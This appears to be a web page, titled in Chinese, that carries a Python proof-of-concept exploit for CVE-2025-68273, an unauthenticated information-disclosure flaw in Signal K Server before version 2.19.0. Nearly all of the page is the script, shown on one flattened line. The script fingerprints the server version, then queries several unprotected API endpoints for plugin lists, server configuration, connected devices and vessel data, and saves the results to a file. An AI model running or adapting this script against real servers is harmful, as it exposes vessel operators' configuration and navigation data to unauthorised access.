CVE-2025-68273 Signal K Server 未授权信息泄露漏洞

# CVE-2025-68273 PoC - Signal K Server Information Disclosure # Affected Version: < 2.19.0 import requests import json target = "http://target-server:3000" # Replace with actual target def check_version(): """Check if target is vulnerable by checking version endpoint""" try: response = requests.get(f"{target}/signalk/v1/api/version", timeout=10) if response.status_code == 200: version_info = response.json() version = version_info.get('version', 'unknown') print(f"[+] Detected Signal K Server version: {version}") return version except Exception as e: print(f"[-] Error checking version: {e}") return None def exploit_information_disclosure(): """Exploit CVE-2025-68273 to gather sensitive information""" print("\n[*] Starting information disclosure attack...") endpoints = [ ("/signalk/v1/api/", "Full API Schema"), ("/signalk/v1/api/security/devices", "Connected Serial Devices"), ("/signalk/v1/api/plugins", "Installed Plugins"), ("/signalk/v1/api/serverInfo", "Server Configuration"), ("/signalk/v1/api/vessels/self", "Vessel Data") ] results = {} for endpoint, description in endpoints: try: response = requests.get(f"{target}{endpoint}", timeout=10) if response.status_code == 200: print(f"[+] {description}: Retrieved successfully") results[description] = response.json() else: print(f"[-] {description}: HTTP {response.status_code}") except Exception as e: print(f"[-] {description}: {str(e)}") return results if __name__ == "__main__": print("CVE-2025-68273 PoC - Signal K Server Information Disclosure\n") version = check_version() if version: results = exploit_information_disclosure() if results: print(f"\n[+] Successfully extracted {len(results)} sensitive data sources") # Save results for further analysis with open('cve_2025_68273_results.json', 'w') as f: json.dump(results, f, indent=2) print("[+] Results saved to cve_2025_68273_results.json")